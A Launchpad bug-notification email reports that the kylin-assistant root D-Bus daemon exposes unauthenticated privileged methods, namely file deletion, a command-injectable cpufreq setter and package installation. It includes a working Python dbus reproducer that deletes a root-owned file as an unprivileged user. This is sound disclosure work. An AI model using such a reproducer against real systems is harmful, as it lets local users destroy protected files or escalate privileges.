This bug was filed by mistake. Please close it as Invalid.
** Description changed:
Summary
=======
The kylin-assistant system D-Bus daemon runs as root, but its D-Bus policy
permits
unprivileged local users to call privileged methods. Several exported methods
do
not authenticate or authorize the caller with polkit or an equivalent
mechanism.
The following issues were identified:
1. delete_file(path) deletes a caller-selected file as root. This was
reproduced
- with an unprivileged user by deleting a root-owned test file in /var/tmp
that
- the user could not delete directly.
+ with an unprivileged user by deleting a root-owned test file in /var/tmp
that
+ the user could not delete directly.
2. adjust_cpufreq_scaling_governer(value) constructs a shell command from the
- caller-controlled value and executes it with os.system() as root. Source
review
- shows a root command-injection path when a cpufreq scaling_governor node is
- present. The tested virtual machine did not expose such a node, so this
path
- was not dynamically verified there.
+ caller-controlled value and executes it with os.system() as root. Source
review
+ shows a root command-injection path when a cpufreq scaling_governor node is
+ present. The tested virtual machine did not expose such a node, so this
path
+ was not dynamically verified there.
3. install(pkg) accepts a caller-selected package name and starts an apt
install
- operation as root without authorizing the D-Bus sender. This was
identified by
- source review and was not used to install an untrusted package during
testing.
+ operation as root without authorizing the D-Bus sender. This was
identified by
+ source review and was not used to install an untrusted package during
testing.
An unprivileged local user therefore appears able to compromise system
integrity
and, on systems exposing cpufreq nodes, execute arbitrary commands as root.
Test environment
================
* Ubuntu Kylin based on Ubuntu 26.04, UKUI desktop
* amd64 virtual machine, 4 vCPUs and 4 GiB RAM
* Linux kernel 7.0.0
* Unprivileged user test, uid 1000, with no sudo or root credentials
* Distribution-provided python3 and python3-dbus
Steps to reproduce the verified arbitrary-file-deletion issue
==============================================================
Use only a disposable test file. First, an administrator creates a root-
owned file:
- sudo sh -c 'printf "test only\n" > /var/tmp/kylin-assistant-test'
- sudo chown root:root /var/tmp/kylin-assistant-test
- sudo chmod 0600 /var/tmp/kylin-assistant-test
+ sudo sh -c 'printf "test only\n" > /var/tmp/kylin-assistant-test'
+ sudo chown root:root /var/tmp/kylin-assistant-test
+ sudo chmod 0600 /var/tmp/kylin-assistant-test
Then log in as an unprivileged user without sudo privileges and confirm that a
direct deletion fails:
- rm /var/tmp/kylin-assistant-test
- # Expected from rm: Operation not permitted
+ rm /var/tmp/kylin-assistant-test
+ # Expected from rm: Operation not permitted
As the same unprivileged user, run this minimal reproducer:
- python3 - <<'PY'
- import dbus
+ python3 - <<'PY'
+ import dbus
- bus = dbus.SystemBus()
- obj = bus.get_object(
- "com.kylin.assistant.systemdaemon",
- "/com/kylin/assistant/systemdaemon",
- introspect=False,
- )
- daemon = dbus.Interface(obj, "com.kylin.assistant.systemdaemon")
- print(daemon.delete_file("/var/tmp/kylin-assistant-test"))
- PY
+ bus = dbus.SystemBus()
+ obj = bus.get_object(
+ "com.kylin.assistant.systemdaemon",
+ "/com/kylin/assistant/systemdaemon",
+ introspect=False,
+ )
+ daemon = dbus.Interface(obj, "com.kylin.assistant.systemdaemon")
+ print(daemon.delete_file("/var/tmp/kylin-assistant-test"))
+ PY
Finally, check the test file:
- ls -l /var/tmp/kylin-assistant-test
+ ls -l /var/tmp/kylin-assistant-test
Actual result
=============
The D-Bus call succeeds and returns true. The root-owned test file is removed,
although the calling user cannot remove it directly. The backend process is
running as root:
- root /usr/bin/python3 /usr/bin/kylin-assistant-backend.py
+ root /usr/bin/python3 /usr/bin/kylin-assistant-backend.py
Observed output from the original reproduction included:
- rm: cannot remove '/var/tmp/asst_victim': Operation not permitted
- get_system_daemon() -> SystemDaemon
- delete_file(root victim) -> 1
- ls: cannot access '/var/tmp/asst_victim': No such file or directory
+ rm: cannot remove '/var/tmp/asst_victim': Operation not permitted
+ get_system_daemon() -> SystemDaemon
+ delete_file(root victim) -> 1
+ ls: cannot access '/var/tmp/asst_victim': No such file or directory
Expected result
===============
The daemon must reject privileged method calls from an unauthorized local
user.
Deleting files, changing CPU policy, or installing packages should require an
explicit authorization decision based on the real D-Bus sender.
** Information type changed from Public to Private Security
** Information type changed from Private Security to Private
** Changed in: youker-assistant (Ubuntu)
Status: New => Invalid
--
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2160486
Title:
kylin-assistant system D-Bus daemon exposes unauthenticated privileged
methods to local users
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/youker-assistant/+bug/2160486/+subscriptions
--
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
